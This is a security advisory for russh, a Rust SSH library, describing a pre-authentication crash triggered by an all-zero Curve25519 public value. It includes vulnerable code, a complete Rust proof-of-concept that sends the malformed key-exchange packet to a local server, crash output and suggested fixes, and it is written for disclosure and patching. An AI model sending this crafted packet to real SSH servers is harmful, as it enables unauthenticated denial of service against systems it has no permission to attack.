Skip to content

GHSA-5xvq-cp9x-6p6r CVE-2026-73430

Russh: Pre-auth remote panic via all-zero Curve25519 peer public value (encode_mpint OOB)

Medium crates.io
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.60%
Chance of exploitation in the next 30 days. Higher than 48.57% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-754 Improper Check for Unusual or Exceptional Conditions
Fix
0.62.4
Upgrade russh to this version or later

Description

A pre-authentication denial-of-service panic in russh 0.62.2 (commit c4be19f1915c8682f4615c3fd50008512b474491, current default branch main as of 2026-07-22). An unauthenticated client sends a single SSH_MSG_KEX_ECDH_INIT whose Q_C is 32 zero bytes. russh's Curve25519 KEX does not reject the all-zero peer public value, so server_dh() computes the all-zero shared secret and compute_exchange_hash() then calls encode_mpint(&shared.0, ...), which indexes s[i] at i == s.len() and panics (index out of bounds: the len is 32 but the index is 32) before host-key signature verification. The server KEX task dies on the first KEX message, before authentication.

This is reachable with the default server configuration (Config::default() → Preferred::DEFAULT, whose kex list includes curve25519-sha256) and requires no caller-supplied parameter. It is reproduced end-to-end against the unmodified real russh 0.62.2 library (a real server + raw TCP client over TCP); the PoC below links the real crate, not a copied snippet. The defect is still present on main HEAD (v0.62.3, 2026-07-22) and is not covered by any of the 11 published russh GHSA advisories (GHSA-cqvm-j2r2-hwpg / CVE-2023-28113 is modp DH group validation, not Curve25519).

Rust bounds-checked panics abort the task safely (no memory corruption / RCE); the impact is remote denial of service.

Details

russh/src/kex/curve25519.rs, server_dh() (server path; attacker = client):

fn server_dh(&mut self, exchange: &mut Exchange, payload: &[u8]) -> Result<(), crate::Error> {
    // only the 32-byte length is checked, NOT zero / low-order:
    let mut pubkey = MontgomeryPoint([0; 32]);
    pubkey.0.clone_from_slice(&payload[5..5 + 32]);      // line 73
    ...
    let shared = server_secret * client_pubkey;           // all-zero when client_pubkey == [0;32]
    self.shared_secret = Some(shared);                    // line 86
    Ok(())
}

The server then computes the exchange hash before verifying the host-key signature (russh/src/server/kex.rs):

kex.server_dh(exchange, &input.buffer)?;                    // line 247
...
let hash = kex.compute_exchange_hash(&pubkey_vec, exchange, &mut buffer)?;  // line 274 — panics

compute_exchange_hash() calls encode_mpint(&shared.0, buffer), whose leading-zero skip loop advances i to s.len() and then indexes s[i] (russh/src/kex/mod.rs):

pub(crate) fn encode_mpint<W: Writer>(s: &[u8], w: &mut W) -> Result<(), Error> {
    let mut i = 0;
    while i < s.len() && s[i] == 0 { i += 1 }   // i advances to s.len() for all-zero input
    if s[i] & 0x80 != 0 {                        // line 482 — index out of bounds: s[s.len()]
        ...

On Curve25519, scalar * MontgomeryPoint([0;32]) yields MontgomeryPoint([0;32]) (the identity element), so the all-zero shared secret is attacker-controlled. RFC 7748 §6 requires implementations to detect and reject all-zero / low-order peer public values and shared secrets; russh does not. The client path (compute_shared_secret, curve25519.rs:110-142) has the same chain but is reached only after the server host-key signature is verified, so it requires a malicious server that can sign its own host key (same root cause, lower severity).

PoC

The PoC is a standalone examples/ binary that links the unmodified real russh 0.62.2 crate and reproduces over a real TCP connection. It runs an ATTACK case (all-zero Q_C → panic) and a CONTROL case (random Q_C → completes kex), proving the panic is caused specifically by the all-zero value.

One-line reproducer

# Drop the .rs below into russh/examples/ of a checkout of
# Eugeny/russh @ c4be19f1915c (tag v0.62.2), then:
cargo +stable build --release --example e2e_t13_zero_curve25519
RUST_BACKTRACE=1 ./target/release/examples/e2e_t13_zero_curve25519

russh/examples/e2e_t13_zero_curve25519.rs

// End-to-end PoC: a pre-auth all-zero Curve25519 peer public value panics
// russh's SSH exchange-hash computation.
//
// A real `russh::server` with `Config::default()` (curve25519-sha256 in the
// default kex list) + a real Ed25519 host key is started on a TCP listener.
// A raw TCP "attacker" client sends: SSH banner -> SSH_MSG_KEXINIT offering
// curve25519-sha256 -> SSH_MSG_KEX_ECDH_INIT with Q_C = 32 zero bytes.
// The server drives the real path server_dh -> compute_exchange_hash ->
// encode_mpint and panics. A CONTROL case with a random Q_C completes kex.

use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;

use byteorder::{BigEndian, ByteOrder};
use russh::server::{self, Handler};
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::{TcpListener, TcpStream};

const MSG_KEXINIT: u8 = 20;
const MSG_KEX_ECDH_INIT: u8 = 30;  // RFC 8731 §3
const MSG_KEX_ECDH_REPLY: u8 = 31;

#[tokio::main]
async fn main() {
    println!("=== russh pre-auth all-zero Curve25519 panic (real russh 0.62.2) ===\n");

    let (atk_panic, atk_reply) = run_case(QcKind::AllZero, "ATTACK ").await;
    println!();
    let (ctl_panic, ctl_reply) = run_case(QcKind::Random, "CONTROL").await;

    println!("\n=== summary ===");
    println!("case    | server panicked | got ECDH_REPLY");
    println!("ATTACK  | {atk_panic:<15} | {atk_reply}   (Q_C = all-zero)");
    println!("CONTROL | {ctl_panic:<15} | {ctl_reply}   (Q_C = random non-zero)");

    if atk_panic && !atk_reply && !ctl_panic && ctl_reply {
        println!("\n=> CONFIRMED (end-to-end, real russh 0.62.2):");
        println!("   A single pre-auth SSH_MSG_KEX_ECDH_INIT whose Q_C is the");
        println!("   all-zero Curve25519 point makes the real russh server panic");
        println!("   inside encode_mpint (index out of bounds: len 32, index 32)");
        println!("   during compute_exchange_hash, BEFORE host-key verification.");
    } else {
        eprintln!("NOT reproduced");
        std::process::exit(1);
    }
}

enum QcKind { AllZero, Random }

async fn run_case(qc: QcKind, label: &'static str) -> (bool, bool) {
    let panicked = Arc::new(AtomicBool::new(false));
    {
        let flag = panicked.clone();
        let prev = std::panic::take_hook();
        std::panic::set_hook(Box::new(move |info| {
            flag.store(true, Ordering::SeqCst);
            eprintln!("[{label} server task panicked] {info}");
            prev(info);
        }));
    }

    // real russh server, DEFAULT config (curve25519-sha256 in the kex list)
    // + real Ed25519 host key.
    let mut config = server::Config::default();
    config.inactivity_timeout = None;
    config.auth_rejection_time = std::time::Duration::from_millis(1);
    config.auth_rejection_time_initial = Some(std::time::Duration::from_millis(1));
    config.keys.push(
        russh::keys::PrivateKey::random(&mut rand::rng(), russh::keys::Algorithm::Ed25519).unwrap(),
    );
    let config = Arc::new(config);

    let listener = TcpListener::bind("127.0.0.1:0").await.unwrap();
    let addr = listener.local_addr().unwrap();
    let server_task = tokio::spawn(async move {
        let (socket, _peer) = listener.accept().await.unwrap();
        let session = server::run_stream(config, socket, NoopHandler).await.unwrap();
        session.await
    });

    // raw attacker client: SSH banner -> KEXINIT -> ECDH_INIT(Q_C)
    let mut s = TcpStream::connect(addr).await.unwrap();
    s.write_all(b"SSH-2.0-attacker\r\n").await.unwrap();
    s.flush().await.unwrap();
    let _server_id = read_ssh_id(&mut s).await.unwrap();
    let _server_kexinit = read_packet(&mut s).await.unwrap();
    s.write_all(&ssh_packet(&kexinit_payload_curve25519())).await.unwrap();
    s.flush().await.unwrap();

    let q_c: [u8; 32] = match qc {
        QcKind::AllZero => [0u8; 32],
        QcKind::Random => {
            let mut b: [u8; 32] = rand::random();
            if b.iter().all(|&x| x == 0) { b[0] = 1; }
            b
        }
    };
    let mut ecdh_init = Vec::new();
    ecdh_init.push(MSG_KEX_ECDH_INIT);
    encode_string(&mut ecdh_init, &q_c);
    s.write_all(&ssh_packet(&ecdh_init)).await.unwrap();
    s.flush().await.unwrap();
    let qdesc = match qc { QcKind::AllZero => "all-zero", QcKind::Random => "random" };
    println!("[{label}] sent SSH_MSG_KEX_ECDH_INIT (Q_C = {qdesc})");

    let got_reply = match tokio::time::timeout(std::time::Duration::from_millis(800), read_packet(&mut s)).await {
        Ok(Ok(pkt)) => {
            let is_reply = pkt.first() == Some(&MSG_KEX_ECDH_REPLY);
            println!("[{label}] server sent a packet, first byte = {:?} (ECDH_REPLY={is_reply})", pkt.first());
            is_reply
        }
        _ => { println!("[{label}] read failed / connection closed (no ECDH_REPLY)"); false }
    };

    let _ = tokio::time::timeout(std::time::Duration::from_secs(1), server_task).await;
    let server_panicked = panicked.load(Ordering::SeqCst);
    println!("[{label}] server task panicked = {server_panicked}, got ECDH_REPLY = {got_reply}");
    let _ = std::panic::take_hook();
    (server_panicked, got_reply)
}

#[derive(Clone)]
struct NoopHandler;
impl Handler for NoopHandler { type Error = russh::Error; }

fn kexinit_payload_curve25519() -> Vec<u8> {
    let mut p = Vec::new();
    p.push(MSG_KEXINIT);
    p.extend_from_slice(&[0u8; 16]); // cookie
    encode_name_list(&mut p, &["curve25519-sha256"]);          // kex
    encode_name_list(&mut p, &["ssh-ed25519"]);                // host key
    encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // c2s cipher
    encode_name_list(&mut p, &["chacha20-poly1305@openssh.com"]); // s2c cipher
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // c2s mac
    encode_name_list(&mut p, &["hmac-sha2-256"]);              // s2c mac
    encode_name_list(&mut p, &["none"]);                      // c2s compression
    encode_name_list(&mut p, &["none"]);                      // s2c compression
    encode_name_list(&mut p, &[]);                            // c2s languages
    encode_name_list(&mut p, &[]);                            // s2c languages
    p.push(0);                                                // first_kex_packet_follows = false
    push_u32(&mut p, 0);                                      // reserved
    p
}

fn ssh_packet(payload: &[u8]) -> Vec<u8> {
    let mut padding_len = 8 - ((5 + payload.len()) % 8);
    if padding_len < 4 { padding_len += 8; }
    let packet_len = 1 + payload.len() + padding_len;
    let mut packet = Vec::with_capacity(4 + packet_len);
    push_u32(&mut packet, packet_len as u32);
    packet.push(padding_len as u8);
    packet.extend_from_slice(payload);
    packet.resize(packet.len() + padding_len, 0);
    packet
}

async fn read_packet(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut len_buf = [0u8; 4];
    stream.read_exact(&mut len_buf).await?;
    let packet_len = BigEndian::read_u32(&len_buf) as usize;
    let mut packet = vec![0u8; packet_len];
    stream.read_exact(&mut packet).await?;
    let padding_len = packet[0] as usize;
    Ok(packet[1..packet.len() - padding_len].to_vec())
}

async fn read_ssh_id(stream: &mut TcpStream) -> std::io::Result<Vec<u8>> {
    let mut id = Vec::new();
    loop {
        let mut byte = [0u8; 1];
        stream.read_exact(&mut byte).await?;
        id.push(byte[0]);
        if byte[0] == b'\n' { return Ok(id); }
    }
}

fn encode_name_list(buf: &mut Vec<u8>, names: &[&str]) { encode_string(buf, names.join(",").as_bytes()); }
fn encode_string(buf: &mut Vec<u8>, value: &[u8]) { push_u32(buf, value.len() as u32); buf.extend_from_slice(value); }
fn push_u32(buf: &mut Vec<u8>, value: u32) {
    let mut bytes = [0u8; 4];
    BigEndian::write_u32(&mut bytes, value);
    buf.extend_from_slice(&bytes);
}

Real captured output (ATTACK, RUST_BACKTRACE=1):

[ATTACK ] sent SSH_MSG_KEX_ECDH_INIT (Q_C = all-zero)
[ATTACK  server task panicked] panicked at russh/src/kex/mod.rs:482:8:
index out of bounds: the len is 32 but the index is 32
thread 'tokio-rt-worker' panicked at russh/src/kex/mod.rs:482:8
stack backtrace:
   3: russh::kex::encode_mpint::<CryptoVec>
   4: <Curve25519Kex as KexAlgorithmImplementor>::compute_exchange_hash
   5: <ServerKex>::step ... server::reply ... Session::run
[ATTACK ] server task panicked = true, got ECDH_REPLY = false
[CONTROL] server sent a packet, first byte = Some(31) (ECDH_REPLY=true)
[CONTROL] server task panicked = false, got ECDH_REPLY = true
=> CONFIRMED (end-to-end, real russh 0.62.2)

The backtrace confirms the real in-library call path on a tokio worker, pre-authentication, before any host-key signature verification.

Impact

Remote, pre-authentication denial of service of any russh SSH server using the default configuration. A single 37-byte SSH_MSG_KEX_ECDH_INIT (0x1e

  • 0x00000020 + 32 zero bytes) from an unauthenticated client crashes the server's KEX task before authentication. Because the panic is in an async russh task it aborts that connection's handler; depending on the embedder's panic containment it can also tear down the server if the panic is not contained per-connection.

A malicious SSH server can symmetrically crash a russh client after host-key verification by sending an all-zero Q_S in SSH_MSG_KEX_ECDH_REPLY (same root cause, lower severity — requires the server to control its own signed host key).

No confidentiality/integrity break is demonstrated. The all-zero shared secret would itself be a catastrophic key-compromise if russh did not already crash, but the observed impact is the crash.

CVSS

  • AV:N — reachable from a remote SSH peer
  • AC:L — requires only a 32-byte all-zero Q_C
  • PR:N — pre-authentication
  • UI:N — no user interaction
  • C:N, I:N — no confidentiality or integrity impact demonstrated
  • A:H — remote unauthenticated crash of the server KEX task

Suggested fixes

Reject all-zero / low-order Curve25519 peer public values (RFC 7748 §6) in server_dh() / compute_shared_secret():

if client_pubkey.0 == [0u8; 32] { return Err(crate::Error::Kex); }

and harden encode_mpint against the all-zero input:

if i == s.len() {
    return 0u32.encode(w);   // all-zero mpint = empty string per RFC 4251 §5
}

Affected versions

  • russh <= 0.62.3 (commit c4be19f1915c / current main HEAD v0.62.3, 2026-07-22). The bug is still present on main; it is not covered by any of the 11 published russh GHSA advisories. Default server::Config and client::Config are affected (no feature flag or opt-in).

Credit

Independently reported by Zhaodl1 and the diff/ambidiff security research effort (afldl).

Affected versions

crates.io

PackageVulnerableFixed in
russh
< 0.62.4
0.62.4

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

russh crates.io → 0.62.4

cargo
cargo update -p russh --precise 0.62.4

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

Weakness

CWE-754: Improper Check for Unusual or Exceptional Conditions

The product does not check or incorrectly checks for unusual or exceptional conditions that are not expected to occur frequently during day to day operation of the product.

How to prevent it
  • Requirements: Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).
  • Implementation: Check the results of all functions that return a value and verify that the value is expected.
  • Implementation: If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).
  • Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design, Implementation: If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Architecture and Design: Use system limits, which should help to prevent resource exhaustion. However, the product should still handle low resource conditions since they may still occur.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-vp5q-ff62-jwqv
russh: Agent server never calls `Agent::confirm`, so keys added with the confirm constraint (`ssh-add -c`) sign without confirmation
High Also affects russh
GHSA-fw5c-8223-6h42
russh: peer-declared zero maximum packet size permanently stalls channel writes (silent AsyncWrite hang)
Medium Also affects russh
GHSA-9wfm-jcj8-jfv9
russh's SSH agent server is susceptible to unbound allocations via repeated SSH_AGENT_CONSTRAIN_CONFIRM messages
Low Also affects russh
GHSA-4p9f-7p9m-5vfg
russh's SSH client is susceptible to unbounded allocations via EXT_INFO packets
Medium Also affects russh
GHSA-4wc5-f2rc-q74m
russh: Unbounded memory allocation in agent protocol server via crafted constraint records
Medium Also affects russh
GHSA-j7h2-66j4-ghjf
A russh SSH server accepts a publickey authentication whose signature uses a different algorithm than the one named in the request
Low Also affects russh
GHSA-g6xm-f9xp-qq35
Russh: Configured server auth-attempt cap is not enforced in the USERAUTH_REQUEST runtime path
Low Also affects russh
GHSA-w3jg-pjxf-73p4
Russh: Missing X25519 zero-point validation in hybrid ML-KEM key exchange
Medium Also affects russh
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor